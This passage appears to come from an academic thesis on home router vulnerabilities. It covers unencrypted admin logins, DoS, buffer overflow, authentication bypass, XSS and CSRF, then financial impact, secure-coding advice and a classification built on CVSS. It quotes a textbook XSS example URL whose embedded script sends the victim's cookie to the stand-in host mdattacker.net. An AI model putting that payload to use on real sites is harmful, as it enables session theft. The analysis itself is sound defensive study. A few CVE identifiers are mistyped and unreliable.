requirement for security and privacy. However, it is concerning to note that some
routers may not provide it. In fact, when logging in to the router administration page it
can be noticed that the connection is not encrypted – the green padlock that is the
universal sign of an encrypted connection is missing. By clicking on the “I”, confirmation
can be made that the connection is in fact unencrypted (see screenshot below). The
majority of the routers in use do not encrypt the credentials (username and password)
during the administrator login; most routers are shipped with this unencrypted
functionality enabled by default and more than 95% of the devices in use do not provide
a mean to secure that connection.
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Figure 4.5: Unencrypted router login page (screenshot captured from Netgear N600
WNDR3400v3 web admin page)

Capturing unencrypted administrator credentials requires the attacker to be on
the same network as the device. Users seldom connect to the administration page of
the router however, hackers have means to trick them into doing so. All it takes is one
connection for the credentials to be captured. With the credentials, the attacker can
impersonate the owner of the router, leading to a full compromise. In addition to the
admin connection page not being encrypted, security professionals also found routers
storing the credentials in plain text. All it takes is one person knowing where and what to
look for to steal sensitive data files.
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Users can protect their credentials during the log in process by switching from
the HTTP to the HTTPS login on their router (when available). However, users may not
be able to encrypt sensitive files residing in the router.
After testing 10 routers from different manufacturers, Niemietz and Schwenk
found that “…in the default configuration, no administration interface is accessible by
using HTTPS instead of HTTP. On the other hand, there are only two routers offering an
optional HTTPS support selectable with the help of the Web interface: Huawei E5331
and Linksys WRT54GL” (2015). The security experts at Independent Security
Evaluators also tested different routers and found only 40% with HTTPS capabilities;
out of those 20% had HTTPS running by default (2013, p. 4). They also discovered that
the D-LINK DIR-865L stored a cleartext file of passwords and the file could be
downloaded and viewed by any user. Additionally, the TP-Link WDR4300 was found to
be “susceptible to having its content downloaded in order to extract username and
passwords pairs” (2013, p.9).
Denial of service vulnerability. The U.S. CERT (Computer Emergency
Readiness Team) defines a Denial of Service (DoS) as “an attacker attempts to prevent
legitimate users from accessing information or services” (“Understanding Denial-ofService,” 2009). The most common way an attacker can prevent legitimate user from
accessing a service is through “flood” attacks. It consists of sending as many service
requests as possible to overwhelm the system and prevent legitimate requests to be
processed (“Understanding Denial-of-Service,” 2009). Companies with large computer
infrastructures have means (such as a firewall) to mitigate flood DoS attacks, since it is
impossible to prevent them. Routers are also vulnerable to flood DoS attacks and do not

41
have means to mitigate them. Routers were also found to be vulnerable to other variant
of DoS attacks. For example, one instance of DoS occurs when a specific non-existing
file is requested from the router.
Flood DoS attacks can be carried over the Internet, on both the wired and
wireless networks. In general, DoS vulnerabilities on routers are more of a nuisance
than a threat. When the router is vulnerable and being attacked, users may not be able
to access the Internet (or the service) until the attack is over or the router is rebooted.
More severe DoS vulnerabilities may allow attackers to view or extract sensitive
information from the routers. Routers are generally vulnerable to DoS “flood” attacks.
Other types of DoS vulnerabilities can be fixed through patches or firmware upgrades
pushed by the router manufacturer.
The security analyst Jacob Holcomb discovered that the TP-LINK TLWR1043ND router was vulnerable to a DoS attack causing the router to stop functioning
until it was restarted (CVE-2013-2646). He also found that the Netgear WNDR4700
(CVE-2013-3074) routers would also create a DoS condition (due to the crash of the
DNLA server) when a non-existing file is requested over HTTP (ISE catalog revision 1,
2013). In 2017 Tom Spring revealed that that more than 20 Linksys routers models are
vulnerable to various attacks, including DoS: “By sending a few requests or abusing a
specific API, the router becomes unresponsive and even reboots. The Admin is then
unable to access the web admin interface and users are unable to connect until the
attacker stops the DoS attack” (2017). IOActive who disclosed the vulnerabilities stated
that they found over the Internet more than 7,000 vulnerable routers and expect that
over 100,000 additional vulnerable routers are in use (Spring, 2017).
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Buffer overflow vulnerability. In computer science, a buffer is a part of the
physical memory of a computer or device that is used for temporary data storage for
processes currently running. Usually multiple buffers exist next to each other and may
be of fixed length. Data stored in each buffer is unique and is essential in the overall
functioning of the programs that makes use of them. Consequently, when data in one
buffer is corrupted (overwritten), there is risk that the program will malfunction and
crash.
“A buffer overflow occurs when a program or process attempts to write more data
to a fixed length block of memory, or buffer, than the buffer is allocated to hold” (Rouse,
2016). As an illustration assume the following: two buffers A and B exist side by side
with A accepting a 5-digit number and B accepting a 3-digit number; buffer A is currently
empty, but buffer B has a current value of “123”. Now assume that an attempt to insert
the value “789548” (6 digits) into buffer A which accepts only a 5-digit number. A buffer
overflow will occur if the extra digit “8” is inserted into the next buffer B. The overflow
may cause the value of buffer B to be overwritten therefore corrupted.
Buffer overflow vulnerabilities can be coding mistakes stemming either from a
low buffer allocation or a failure to check the size of a value against a buffer size before
insertion. Other buffer overflow vulnerabilities can also be created through the use of
specific function calls that do not perform bound checking therefore vulnerable to buffer
over flow by nature. Some programming language such as C and C++ do not have built
in protection against buffer overflow either.
Buffer overflow vulnerability can affect any service provided by routers such as File
Transfer Protocol (FTP), WPS (for wifi), SMB and others.
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To exploit the buffer overflow vulnerabilities, the attacker needs to have access
to the targeted services. Successfully exploiting a buffer overflow vulnerability can lead
to a denial of service (DoS) or the crash of the targeted service, a full router
compromise can occur in other instances. Only patches pushed by the router
manufacturer or firmware upgrade can solve buffer overflow issues. There is no other
action the user can take to prevent or protect themselves from buffer overflow
vulnerabilities in routers.
The TRENDnet TEW-812DRU services such as FTP, SMB, RC Network Utility
and Broadcom ACSD were found to be vulnerable to buffer overflow attacks resulting in
Denial of Service or Remote Code Execution situations (CVE-2013-3100, CVE-20134659). The ASUS RT-AC66U routers (CVE-2013-4659). were also found to be
vulnerable to buffer overflow with the same possible consequences.
Information disclosure vulnerability. Information disclosure can be defined the
same way MITRE defines Information Exposure: “the intentional or unintentional
disclosure of information to an actor that is not explicitly authorized to have access to
that information” (CWE-200, 2017). The most well-known acronym in the computer
security field is without contest C.I.A that stands for Confidentiality, Integrity and
Availability. Information confidentiality is of the essence in safeguarding systems and
data. Any piece of information that can be collected from a system may be used against
the same or identical systems. Consequently, it is vital to ensure that systems or
devices do not disclose sensitive information by default nor allow sensitive information
to be disclosed.
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Depending on the type of information gathering that is conducted and the router
settings, information disclosed from the router can be accessed through the Internet,
wirelessly or through the LAN (most sensitive information can be collected this way).
Users may not have the capability to prevent these information leakages.
Niemietz and Schwenk (2015) found several routers disclosing make and model
of the device or a specific user name when a particular HTTP request is sent to the
devices. Other routers are susceptible of disclosing the SSID (Service Set Identifier)
and the PSK (Pre-Shared Key - CVE-2013-3070). In one instance, the Linksys EA6500
routers were found to disclose the router information (make, serial number, firmware) as
well as information on all the devices (device type, manufacturer, IP address, mac
address, device ID, etc.) connected to the router, upon sending a specifically crafted
request (CVE-2013-3066). Appendix A presents a proof of concept of this vulnerability.
Authentication bypass vulnerability. An authentication bypass vulnerability is
a flaw that grants access to resources to a user who does not have the necessary
privileges to access those. Authentication bypass vulnerabilities may allow access to
sensitive information to both authenticated and non-authenticated users.
Authentication exists to verify the identity of a user and access management
ensures that users are able to perform the task that fall under their prerogative based on
their privileges. Prior to being able to perform any task a user must be authenticated.
Upon requesting that an action be carried out the system must determine whether the
requester has the privileges to do so. The authentication and access management are
two separate parts of the system complementing each other. The compromise of one
may lead to the demise of the other.
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Authentication bypass vulnerabilities may stem from programming error.
Programmers assume that users will follow a specified sequence of actions deemed
normal and obvious to the programmers. For example, if a user requests the
configuration page, it may be assumed that the user may have already been
authenticated and has the privilege to request the page. Therefore, the credentials and
privileges of the requester may not be verified. Authentication and access management
shall always be verified for every request being sent.
Commonly, exploiting authentication bypass on routers requires the attacker to
be able to send HTTP requests to the web page and have access to the web
management interface (basically on the same network). Authentication however is not
required. Different types of authentication bypass vulnerabilities may have slightly
different consequences. Overall, the exploit of this vulnerability will compromise the
router entirely. The attacker can have full control of the router as the owner does.
Heffner & Yap found an authentication bypass vulnerability on various routers
including the Linksys WRT54G and the Belkin F5D8233-4V3. In the case of the Belkin
router, while the login status of the user sending request to the router is verified, it is
done so only after executing any request from the user. The normal order would be to
first check the status of the user before accepting and processing any request from that
user. This flaw that totally bypasses authentication could allow the attacker to send
various scripts that the router will always execute. Some of the successful attacks
carried by the authors resulted in restoring the router’s default factory setting, enabling
remote management on port 8080, rebooting the router, logging in with default
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password and configuring the router’s primary DNS server. (2009, p.11). Other related
vulnerabilities are CVE-2013-3091 and CVE-2013-3071.
Web Application Related Issues
A router may just be packets transmitter, however it borrows some elements from
web application in order to provide a better user experience. This allows the least savvy
person to manage the router functions through point and click without knowing the
coding of the router. When borrowing some functionalities, the inherent vulnerabilities
associated with web applications were also transferred to routers. These types of
vulnerabilities will be the subject of discussion in the following part.
One key element in understanding some vulnerabilities described below is called the
“Same-origin policy”.
The same-origin policy is a key mechanism implemented within browsers that is
designed to keep content that came from different origins from interfering with
each other. Basically, content received from one website is allowed to read and
modify other content received from the same site but is not allowed to access
content received from other sites. If the same-origin policy did not exist, and an
unwitting user browsed to a malicious website, script code running in that site
could access the data and functionality of any other website also visited by the
user. This may enable the malicious site to perform funds transfers for the user’s
online bank, read this or her web email, or capture credit card details when the
user shops online. For this reason, browsers implement restrictions to allow this
type of interaction only with content that has been received from the same origin.
(Stuttard et al., 2012, p. 64)
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This is what also allow users to browse multiple web pages at the time without them
interfering with each other. Clearly, the same origin policy has a role identical to access
control. The policy restricts content access to only authorized elements.
Another key element to understand is called input sanitization. Most current
websites allow some type of interaction with users through features such as chat, login,
feedback and comment box. Input sanitization refers to the function of automatically
verifying and sanitizing the input entered by the user, before sending it to the system for
processing. This is to make sure that the user input will not cause any harm to the
system. Input sanitization (or validation) can be done different ways: whitelisting,
blacklisting, escaping, etc.
There are different groups of application vulnerabilities categorized based on
specifics conditions. One such group is called Code Injection vulnerabilities. Code
Injection vulnerabilities are vulnerabilities that occur from the fact that the system allows
a user input to be processed by the system without appropriate verification and
sanitization. Well known Code Injection vulnerabilities are SQL injection, Cross Site
Scripting (XSS) vulnerabilities, Cross Site Request Forgery (CSRF) vulnerabilities, UI
redressing vulnerabilities.
OWASP defines a Cross Site Scripting vulnerability as follows: “XSS flaws occur
whenever an application takes untrusted data and send it to a web browser without
proper validation or escaping” (“OWASP Top 10,” 2013). XSS vulnerabilities can be
leveraged to bypass security controls such as the same-origin policy. This is a simple
illustration of how XSS vulnerabilities can occur, provided in the Web Application
Hackers Handbook, page 434:
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When requesting a feature on a website, you may be returned the following legit
URL
“http://mdsec.net/error/5/Error.ashx?message=Sorry%2c+an+error+occured”.
This error message originating from mdesec.net will cause the message “Sorry,
an error occurred” to be displayed on the user’s browser.



The legit URL above can be modified into a malicious one as follow:
“http://mdsec.net/error/5/Error.ashx?message=<script>var+i=new+Image;+i.src=`

`http://mdattacker.net/”%2bdocument.cookie;</script>”. The crafted URL that
legitimately seems to come from mdsec.net has an embedded script (identified
by the tags <script></script>) referencing the malicious website mdattacker.net.
This particular script will cause the user browser to send her current session id
on mdsec.net to the mdattacker.net domain.
The code injection vulnerability described above was able to leverage the same origin
policy to its advantage because the input starting after “message=” was not verified and
sanitized. While the same origin policy presents a somehow secure access control
method, it relies on other mechanisms functioning correctly such as the input
sanitization feature. In the web browser world, the Cross-Site Scripting vulnerability
comes in three variants: the Reflected XSS, the Stored XSS and the DOM-based XSS.
The most common variants applicable to routers are the Stored XSS and the Reflected
XSS vulnerabilities.
Stored and reflected cross site scripting vulnerability. OWASP defines
reflected XSS vulnerability as “those where the injected script is reflected off the web
browser, such as in an error message, search result, or any other response that
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includes some or all of the input sent to the server as part of the request” (“Cross-site
Scripting,” 2016). In other words, when the vulnerability exists, it may allow an attacker
to add a malicious code to a normal user request and have the server unsuspectedly
deliver the response back when the server should not have.
Stored XSS vulnerabilities are “those where the injected script is permanently
stored on the target servers, such as in a database, in a message forum, visitor log,
comment field, etc. The victim then retrieves the malicious script from the server when
he/she requests the stored information” (“Cross-site Scripting,” 2016). In other words,
when the vulnerability to this attack exists, it allows an attacker to send a script to the
router to store. Every time the router administrator or any user visits the specific web
administration page where the script is, the script will automatically perform the action it
was created for. This vulnerability is the most severe among the two because the script
is embedded in the router and will always run when the condition is met without any
required action from the attacker.
OWASP notes that the main difference in exploiting a reflected and Stored XSS
vulnerability is “in how the payload arrives at the server” (“Cross-site Scripting,” 2016).
In the reflected XSS, the malicious script is sent to the victim through emails. The
vulnerability is exploited when the victim clicks on the malicious link (or visit the
malicious website). Most reflected XSS vulnerabilities encountered in router requires a
privileged active session to the router administration page in order for the attack to be
successful. To exploit the stored XSS vulnerability, the attacker needs direct access to
the router (such as being the same network as the router). No active session or victim’s
input is required to carry out the initial attack (storing script).
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XSS vulnerabilities can also be used to infect the computer of the target with
viruses, key loggers and rootkits. This attack can also be crafted to interact with a router
with different objective such as stealing the user router login information. For that
specific case, the user also needs to have an active session to the router web admin
page at the time of the attack. The most severe cases of both variants of XSS
vulnerabilities can lead to credentials theft and full compromise of the router.
Not clicking on malicious links and staying clear of unknown websites is one
thing users can do to mitigate the effects of the reflected XSS attacks when their system
is potentially vulnerable. Having strong password protecting routers may help mitigate
the stored XSS vulnerabilities. To fix the vulnerabilities, the manufacturer of the routers
needs to issue patch or a firmware update for the user to install.
Cross site request forgery vulnerability. The Cross-Site Request Forgery
(CSRF) vulnerability can be seen as a reflected XSS vulnerability on steroids. Exploiting
CSRF vulnerabilities is similar to the XSS vulnerabilities exploitation in various ways: it
requires the user to click on a malicious link, the attack is carried through the Internet,
with a crafted email or a malicious website. Exploiting the vulnerability also requires that
the victim be in a current active session to the router web admin page at the time of the
attack. While most users don’t login to the router web admin page every time they
browse the Internet, hackers can leverage other weaknesses that would force users to
login to the admin page for the exploitation to be successful. This vulnerability is unique
in the sense that it makes use of a forged request. Simply put, this vulnerability allows
an attacker to send commands to be executed, making it look like the commands came
from the owner herself.
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In the web application world for example, it can be used to transfer money from a
victim’s bank account to the attacker’s bank account without the knowledge or the
consent of the victim. This is possible when the following three basic conditions are
aligned: the victim has an active session to the bank account, the victim clicks a link or
visit a malicious website with scripts specifically designed for the particular target, the
bank does not implement safeguard against CSRF attacks (such as requesting the user
to enter the password to validate a transfer). Since router manufacturers do not abide
by the same security policies as bank institutions do, implemented safeguard against
CSRF attacks are lacking on routers.
The Verizon FIOS Actiontec Model MI424WR-GEN3I, the TRENDnet TEW812DRU, various TPLINK, D-LINK, Linksys, Belkin, Asus routers were found to be
vulnerable to XSS injection (CVE-213-0126, CVE-2013-3097, CV3-2013-3098, CVE2013-3101, CVE-2013-2645, etc.). The professionals who found these vulnerabilities
demonstrated how they can be used to create a new administrator credential, change
the administrator credential, enable remote administration, enable services that the
attacker can access from the Internet. The full compromise of the router can be
obtained by adding a new admin account and enabling remote management of the
router. If these two elements are carried out, the attacker becomes the other “owner” of
the router that can access it from anywhere across the Internet. Appendix B presents
two proofs of concepts for CSRF attacks.
Avoiding XSS & CSRF attacks is partly behind advices not to click on unknown
links or websites. These attacks are also some of the few that rely on user’s action to
succeed. So, in order to thwart this attack if the router is vulnerable to XSS the user
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should remain logged out of the router admin page and should not click on malicious
links.
One way or another, vulnerabilities in routers will have consequences for the
users or the manufacturers. The next chapter looks at the repercussions of the flaws
and provides recommendations to improve router security.
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Chapter V: Analysis
This chapter consists of two parts: the first part discusses the repercussions of
vulnerable routers on manufacturers and users; the second part discusses possible
solutions to the vulnerable routers crisis.
Financial Assessment
Assessing the financial impact of vulnerable routers on manufacturers and users
is quite a difficult task as there may not be available extended report on that subject.
Argument can be made that router vulnerabilities are costly to manufacturers for various
reasons: hours of man power are needed to review exposed vulnerabilities and create
patches possibly leading to higher costs; sales figures for a particular device or all the
devices from the manufacturer can drop; the manufacturer reputation can be tarnished if
vulnerabilities are too severe, too frequent or if no adequate action is taken upon
discovery. However, most users are not familiar with the concept of router vulnerabilities
aside from the Wi-Fi that can be stolen by the neighbor if the password is not strong.
Most users rather think cost and functionality when buying routers than security and
vulnerability. So, declines in sales due to vulnerabilities may not affect the
manufacturers much and the overall impact of the newly announced vulnerability can be
minimal and temporary.
The cost of the router vulnerabilities to the users is greater, however. It is most of
the time ignored or misinterpreted due to the difficulty to properly assess the financial
and emotional cost incurred by the victims. Productivity can be affected as
demonstrated by the router exploit that knocked 900,000 German routers offline for two
days (Cluley, 2016). In 2016, the maker of the Asus routers settled with the U.S.
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Federal Trade Commission (FTC) law suit regarding severe vulnerabilities found on
their devices. The suit alleged that: the routers had major design flaws; 12,900
consumer devices were compromised; health and financial documents were stolen in
addition to personal files and pictures (“Asus settles FTC charges”). On January 2017,
the FTC filed a suit against the maker of D-Link routers for “failure to take reasonable
steps to protect their routers and IP [ Internet Protocol] cameras from widely known and
reasonably foreseeable risks of unauthorized access” (Federal Trade Commission v. DLINK Corporation). The law suit alleged that hackers could find the vulnerable devices
over the Internet and easily gain access to sensitive data, including tax returns and
other financial information. The vulnerability affected as many as 400,000 devices
(Lazarus, 2017). Trend Micro also gave examples of two Brazilian citizens who lost
respectively US$191.02 and US$955.11 from their bank accounts due to their router
being compromised (Trend Micro Senior Threat Researchers, 2017). The cases
mentioned above are examples of vulnerabilities that can lead to identity theft and fraud.
According to the Javelin Strategy and Research study, 15.4 million U.S. consumers
where affected by identity theft amounting for $16 billion stolen in 2016 (“Identity Fraud
Hits Record,” 2017). It may not be possible to quantify the exact loss attributed to home
router vulnerabilities but the cases above demonstrated that it can happen. When it
does, consumers are left alone to deal with the aftermath for things they were not
responsible for in the first place: lost identity, tarnished credibility score, financial
struggles and emotional distress.
Unlike for the users and manufacturers, compromised routers tend to be lucrative
for the hackers. One means of monetizing compromised routers is through the theft of
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information such as financial, health or personal records as described above. According
to a publication made on the cyber security media SC Media, stolen payment cards
information costs in the range of $5 to $30 dollars a piece, the highest price range
giving details such as the name of the card holder, the address, PIN, social security
number and other personal identifiable information (Abel, 2015). In early 2012 and prior,
single stolen medical record cost on average $50. The price has dropped to the range
of $1.50 to $10 each as hackers turns to ransoming hospitals instead (Korolov, 2016).
The secondary means of monetizing compromised routers is through the rentals of
botnets. Once a router has been compromised, it can be enrolled in a group with other
already compromised routers to form a botnet and rented to the highest bidder for DoS
attacks. In 2015, 100 bots could be rented out of the Chinese cybercrime market for
$24. In 2016, 100 to 150 bots could be rented out of the French cybercrime market for
$102.19 per day (“Securing your router against Mirai,” 2017). Compromised devices can
also be used for spamming purposes, with hundred million-dollar revenues per year.
With this previous short analysis on benefit and consequence of the router
vulnerabilities, it can be asserted with a certain degree of confidence that only hackers
are the winners.
Possible Solutions
Throughout the research, cases have demonstrated that manufacturers and
programmers are at fault for producing and selling vulnerable routers. It was also
discovered that users did not keep their end of the bargain by maintaining secure
routers. The following section will discuss various action steps that can be taken to
remediate the insecure router phenomenon.
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Programmer and manufacturer perspective. Security analysts have
demonstrated that routers fresh out of boxes are vulnerable in the default configuration
and in some cases even in the harden state. Part of the solution in solving router
vulnerabilities should therefore start at the programmer level.
One way to create security conscious programmers is to bring more awareness
regarding the vulnerabilities resulting from faulty coding. Some of the recent
vulnerabilities have been discovered years ago but they are still prevalent due to the
lack of security training and mindset. Steve Christey from the Mirtre Organization
published in 2007 a list of thirteen (13) “Unforgiveable Security Vulnerabilities” and at
least eight of them are still prevalent today in routers. They are buffer overflow, XSS,
SQL injection, directory traversal, authentication bypass, hard-coded or undocumented
account/password, word-writable critical files and remote file inclusion (p. 5). These
vulnerabilities were labeled unforgivable based on five (5) criteria: precedence – the
mistake has been made in the past and has been reported; documentation – there is
ample study and reports on the vulnerability and how to solve it; obviousness - this is an
obvious issue when considering possible attacks; attack simplicity – the manipulation is
simple; found in five – the issue could be found in five minutes of testing (p. 4). The
prevalence in 2017 of the issues mentioned by Christey in 2007 shows that
programmers security awareness is still not adequate.
Programmers need to adopt a defensive security coding practice as another
mean to create vulnerability free routers. In 2011, Robert Seacord from the Software
Engineering Institute at the Carnegie Mellon University proposed the following top 10
secure coding practices:
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validate input: input from untrusted data sources should be checked and
validated



heed compiler warnings: modify the code to eliminate warnings in addition to
using the compiler highest warning level



architect and design for security policies: create an architecture and design
framework implementing security policies



keep it simple: design should be simple



deny by default: access should be denied by default



use the least privilege principle: process should run with the least privileges



sanitize data sent to other systems: verify and validate data traveling across
systems



practice defense in depth: use multiple defense strategies in the event one may
fail



use effective quality assurance techniques: in depth testing of the product should
be performed either by an internal or external security team



adopt a secure coding standard: this is a standard that will ensure that software
is created using the same secure principles

A Trend Micro publication summarized the following recommendations to manufacturer:
Implement a security-by-design approach - while functionality and ease-of-use
are essential, implementing appropriate security measures will go a long way in
securing not only your product but your customer’s loyalty as well.
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Conduct vulnerability testing and other regular security audits - knowing how
attackers work can give you a better idea of how, when, and where to implement
proper security controls.
Consider a partnership with security specialists - due to the limited experience of
manufacturers on security, it’s best to assess whether a third-party security
team can work with developers to implement functionalities or features that are
consistent with the device’s design (“Netgear Vulnerability Calls for Better,”
2016).
For the Internet Service providers, the article makes the following suggestions:
Make sure there are no security holes – if you have features that compromise
security, it is best to reassess these components and get rid of features that
require access to users' routers.
Establish baseline filters as a standard – ISPs should agree on a standard that
logs new and wide-spreading malware. This implementation can also help other
ISPs share indicators of compromise and defend against likely attacks.
Provide security notifications to users – most, if not all users are mostly kept in
the dark when it comes to knowing if they’ve been affected. ISPs must offer
security notices and provide remediation services for their customers to help
ensure data protection and lessen the possible effects of an attack.
Apply security controls to your infrastructure - implementing proper security
measures such as firewalls and intrusion detection can help in maintaining your
service and mitigating attacks (“Netgear Vulnerability Calls for Better,” 2016).
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User perspective. Users have the responsibility to configure and secure their
router out of the box. It is also the user responsibility to keep up with the security update
for their devices. This is easier said than done because users are not tech savvy
enough and will not go through length to educate themselves about the functions in their
routers and how to secure them. In some degree, users are aware of the security
issues facing computer systems in general, but they may not be aware of the ones
facing routers in particular.
Users NEED to educate themselves on router security issues. This is primordial
as this may be the only way users can effectively learn, retain, and practice secure
behavior. The technicalities of some of the subject may discourage most people but
many other sources address the issues in a very easy way. YouTube is rich in videos
addressing router securities at all levels and may be the best option for most to start
from. The Trend Micro Vulnerabilities & Exploits page also has a wealth of related
articles mostly written in a non-technical way addressing security at both individual and
corporate levels. Routersecurity.org is another website dedicated to router security. The
search engine Google is the ultimate place to start searching for education materials in
securing routers.
It is essential to recognize that most users WILL NOT take the time to educate
themselves on router security issues. Instead of trying to get them to the information,
the other viable way is to bring the information to them.
One practical way to educate users is to incorporate a training module in the
router setup process, describing all the functionalities found in the routers. In order to be
effective, the module can be a video (or an interactive page), short and concise,

60
mandatory with no option to skip. At last, the user should be required to register for
security and patches alerts. In addition to the training module, routers can be equipped
with some type of wizard setting option that will automate the router settings at once
based on the user choice. For this wizard to fulfill its educational purpose in addition to
strengthening the router, it should:


present all the features with a clear and simple description of their purposes



provide options for the user to choose from, along with a clear description of the
consequences for each choice



give the best recommendation to the user if the description is not comprehensible
enough or the user unsure

When users are involved in protecting their security and programmers adopt securing
coding techniques, chances are the router security phenomenon will decrease.
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Chapter VI: Taxonomy of Threats to Vulnerable Routers
Each vulnerability previously described has specific characteristics, deals with a
specific part of the router and has specific consequences. The following section will
regroup and classify in a taxonomy all the commonalities and differences of these
vulnerabilities. The first part of this chapter will review two classification models
(description, advantage and drawback) that are partially used as base to create the
taxonomy; the second part presents the criteria used to create the taxonomy along with
vulnerabilities applied to each.
Web Application Vulnerabilities
In their 2013 paper titled “Classification of Web Application Vulnerabilities”,
Chavan and Meshram attempted to catalog all the known vulnerabilities affecting web
applications and classifying them in meaningful categories. Through their work, they
proposed a 4-group classification of the vulnerabilities, listed each vulnerability within
their respective group, provided countermeasure for each vulnerability and discussed
their weaknesses. The table below is a partial reproduction of the classification schema
as provided by the authors in their paper
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Table 6.1: Web application vulnerabilities – Adapted from “Classification of Web
Application Vulnerabilities” by Chavan & Meshram (2013)
Classification
Requirement
Analysis

Design

Implementation

Deployment

Vulnerabilities
Broken Access Control
Attack
Abuse of Functionality
Improper Error Handling
Brute Force
Cross Site Request
Forgery
Information Leakage
Insufficient Authentication
Buffer Overflow
Content Spoofing
Credential/Session
Prediction
Cross Site Scripting
Denial of Service
Injecting OS Commands
Path Traversal
SQL Injection
Insufficient Session
Expiration
Application
Misconfiguration
Session Fixation

Assessing the model. The pertinence of Meshram and Chavan’s research
resides on the facts that it discusses some web application vulnerabilities that are also
common to routers, due to the fact that routers uses web application to manage their
functionality. Beyond the description of the vulnerabilities the authors classified them in
meaningful groups, assessed the consequence of the successful exploitation of each
vulnerability in themes that are common in computer security (Integrity, Confidentiality,
Availability) and provided some mitigation techniques aimed at programmers. While
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their research focuses only on web application, their classification will be of contribution
in defining a router vulnerabilities taxonomy in this research.
Model incorporation in taxonomy. The 4-group classification identified by the
authors can be used as input to the creation of the taxonomy. Whenever there is a
need, vulnerabilities that are not classified in the research will be studied and
incorporated in the appropriate groups.
Common Vulnerability Scoring System (CVSS)
One of the well-known and widely used vulnerability classification and scoring
tool is the Common Vulnerability Scoring System (CVSS). CVSS is owned and
managed by a US-based nonprofit organization called Forum of Incident Response and
Security Teams (FIRST), whose objective is to help incident response teams. For that
matter, the organization created CVSS to provide a standardized vulnerability scoring
mechanism that prioritize risks and is open framework. The initial release of CVSS was
in 2004 and the description made hereafter is based on version 3.0.
The scoring mechanism used by CVSS divides vulnerability characteristics in
three groups: the Base Metric Group, the Temporal Metric Group and the Environmental
Metric Group. Each group is further divided in sub components that provide a better
understanding (and scoring) of the characteristics of the vulnerability and contribute to
the overall score. “The Base group represent the intrinsic and fundamental
characteristics of a vulnerability that are constant over time and user environment” (Mell
et al., 2007, p.3). The Temporal group “represents the characteristics of a vulnerability
that change over time but not among user environment” (Mell et al., 2007, p.4). The
Environmental group “represents the characteristics of a vulnerability that are relevant
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and unique to a particular user’s environment” (Mell et al., 2007, p.4). The Base group
components are used to compute the vulnerability score ranging from 1 to 10 with 10
the highest risk vulnerability. Temporal and Environmental components are optional in
the overall risk computation but are “useful in order to provide additional context for a
vulnerability by more accurately reflecting the risk posed by the vulnerability to a user’s
environment” (Mell et al., 2007, p.5). Consequently, focus will be on the Base Metric
Group.
The Base Metric Group is divided in seven measures that are:


Attack Vector – this measure defines the location the attacker needs to be in
order to exploit the vulnerability. This vector scores the highest when the attacker
can exploit the vulnerability remotely, across the Internet.



Attack Complexity – this measure defines the complexity of the attack, whether
there are necessary conditions that need to be met in order for the vulnerability to
be exploited. The less complex the exploitation of the vulnerability is, the higher
the score.



User Interaction - this measure defines whether a user involvement is required
for the vulnerability to be exploited. This score will be the highest when user
interaction is not required for exploitation of the flaw.



Privileges Required – this measure determines the level of access and privileges
the attacker needs to have in order to fully exploit the vulnerability. The lower the
privilege required, the higher the score.
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Confidentiality Impact – this measure assesses the impact on confidentiality if the
vulnerability is successfully exploited. The more critical information is exposed,
the higher the sub score.



Integrity Impact – this measure assesses the impact on integrity if the
vulnerability is successfully exploited. This sub score will be high if the
exploitation of the vulnerability leads to critical or massive data modification and
corruption.



Availability Impact – this measure assesses the impact on availability if the
vulnerability is successfully exploited. If condition of Denial of Service can occur,
the sub score will be high.

The first four measures address how the vulnerability is accessed, the complexity of the
vulnerability and whether pre-conditions are required for the vulnerability to be
exploited. The last three impact measures “measure how a vulnerability, If exploited, will
directly affect an IT asset, where the impacts are independently defined…” (Mell et al.,
2007, p.6).
Assessing the model. One strength of CVSS is the use of a single number to
describe the severity of the vulnerability. CVSS scores vulnerabilities in a range of 1 to
10 with 10 being the riskier vulnerability. The use of this scoring methodology makes it
easier for the average user to possibly assess the criticality of a vulnerability, without
understanding all the background details at first. The downside associated with the use
of the single number to convey security information to the general user is the
oversimplification and the subjectivity related to the interpretation. When a score is
given to a vulnerability without the context, background, and details it is difficult for a
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user to know what is at stake. For example, a vulnerability that allows an attacker to
map the internal home network may be given a score of 7. Without an understanding of
what the vulnerability entails, some users may ignore it while others may take actions to
solve the issue. Some users not understanding the implication of the vulnerability may
be willing to accept the risk, not knowing that further risk and damages can occur. While
CVSS classifies the vulnerabilities as Low (score 0.1 to 3.9), Medium (4 to 6.9), High (7
to 8.9) and Critical (9 to 10), there is reason to believe that the numbers can be subject
to interpretation. Some users may not take action on a vulnerability unless the level is
High, and others will take action on any level of vulnerability. There is reason to believe
that the more tech savvy the user is, the more likely remedial actions will be taken. In
summary, the single descriptive number of the vulnerability makes it easier for general
user to understand, however it may undermine its intent when detailed information is not
provided.
CVSS scoring model captures information similar to some of the findings related
to router vulnerabilities. It can be recalled that the successful exploitation of routers
vulnerabilities requires specific conditions to be met – such as the location on the
network of the attacker, the direct access to router services, and privileges. The update
from version 2.0 to 3.0 of the CVSS scoring methodology brought some refinement in
light of advances and discoveries in vulnerability exploitation: the Attack Vector on
version 2.0 distinguished an attacker located within the network, in an adjacent network
or remotely across the Internet. Version 3.0 added a fourth level which is the Physical
Access to the target. In version 3.0 the User Interaction measure was also added to
take in account vulnerabilities whose exploitation requires active participation from the
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victim – CSRF was mentioned earlier as one of the attacks that requires the user to
click on malicious links to launch it. The Privileges Required measure was updated in
version 3.0 to reflect the privileges needed to exploit the vulnerability, unlike the
specification of version 2.0 that was capturing “the number of times an attacker must
separately authenticate to a system” to exploit it (“CVSS,” p.6). In summary, another
strength of CVSS 3.0 is the broad range of information that is taken in account when
assessing a vulnerability and the fact that the characteristics of routers’ vulnerabilities
can easily and nicely fit in the CVSS framework.
CVSS does a great job in measuring the risk level associated with single
vulnerabilities. However, it was discovered during this study that CVSS cannot provide
scoring for groups of vulnerabilities. In fact, each vulnerability is unique in the sense that
it affects a specific part of the system with specific consequences if successfully
exploited. Furthermore, the same vulnerability may vary based on the model of the
router, the maker, the modules used for the router core programing and other variables.
Consequently, two distinct vulnerabilities, classified in the same group may have
different score. For illustration consider the CVE-2016-10176 and CVE-2016-6277
vulnerabilities. Both were classified as Code Execution vulnerabilities on some Netgear
routers, both do not require authentication, they are exploited remotely and there is no
gained access level if exploited. The two vulnerabilities however differ in their access
complexity level (the conditional access required for a successful exploitation of the
vulnerability) and the impact on Confidentiality, Integrity and Availability. Consequently,
CVE-2016-10176 has a risk score of 7.5 (High) and CVE-2016-6277 has a risk score of
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9.3 (Critical). This led to the conclusion that CVSS scoring mechanism is suitable for
individual vulnerabilities but may not be used to score groups of vulnerabilities.
